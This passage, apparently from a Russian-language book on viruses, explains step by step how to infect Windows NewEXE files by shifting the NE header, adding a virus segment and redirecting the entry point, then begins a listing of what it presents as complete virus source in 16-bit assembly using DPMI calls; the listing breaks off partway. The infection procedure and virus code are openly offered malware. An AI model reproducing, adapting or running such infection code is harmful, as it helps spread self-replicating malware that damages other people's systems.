Как же заразить Windows NewEXE? На первый взгляд файл формата WinNE – обычный EXE-файл. Начинается он с заголовка EXE для DOS и программы (STUB), которая выводит сообщение «This program requires Microsoft Windows».
Если в EXE-заголовке по смещению 18h стоит число 40h или больше, значит по смещению 3Ch находится смещение заголовка NewEXE. Заголовок NewEXE начинается с символов «NE». Далее идет собственно заголовок, в котором содержатся различные данные, в том числе адреса смещений таблиц сегментов, ресурсов и другие. После заголовка расположена таблица сегментов, за ней – все остальные таблицы, далее размещены собственно сегменты с кодом.
Итак, порядок действий:
1. Адрес заголовка NewEXE (DOS_Header+3Ch) уменьшается на 8.
2. Заголовок NewEXE сдвигается на 8 байт назад.
3. В таблицу сегментов добавляется новый элемент, описывающий сегмент вируса.
4. CS: IP NewEXE изменяется на начало вирусного кода, само тело вируса дописывается в конец файла.
Для загрузки в память (надо перехватить вектор INT 21 h из-под Windows) необходимо использовать функции DPMI (INT 31h). Действия: выделение сегмента, изменение его прав доступа, запись вируса, перехват прерывания 21h (делается с помощью функций DPMI).
В качестве примера приведен полный исходный текст вируса под Windows. Принципы заражения такие же, как и при заражении обычного EXE-файла, – изменяется структура EXE-файла и среда, в которой он работает.
.286
.MODEL TINY
.CODE
;Сохраним регистры и флаги
pushf
pusha
push ds
push es
;Проверим, доступен ли DPMI. Если доступен,
;продолжаем, если нет – выходим
mov ax,1686h
int 2Fh
or ax,ax
jz dpmi_exist
;Восстановим регистры и флаги
exit:
pop es
pop ds
popa
popf
;Запустим программу−носитель
db 0EAh
relocIP dw 0
relocCS dw 0FFFFh
dpmi_exist:
;Выделим линейный блок памяти, используя DPMI
mov ax,0501h
mov cx,0FFFFh
xor bx,bx
int 31h
;Сохраним индекс и 32−битный линейный адрес
;полученного блока памяти в стеке
push si
push di
push bx
push cx
;Создадим дескриптор в таблице LDT
xor ax,ax
mov cx,1
int 31h
;В поле адреса полученного дескриптора
;установим адрес нужного блока памяти
mov bx,ax
mov ax,7
pop dx
pop cx
int 31h
;В поле предела полученного дескриптора
;установим размер выделенного блока памяти
mov ax,8
mov dx,0FFFFh
xor cx,cx
int 31h
;В поле прав доступа полученного дескриптора установим значение,
;соответствующее сегменту данных, доступному для чтения и записи
mov ax,9
mov cl,11110010b
xor ch,ch
int 31h
;Загрузим селектор в регистр DS. После этого регистр DS будет
;указывать на выделенный блок памяти
mov ds,bx
;Читаем из стека и сохраняем в памяти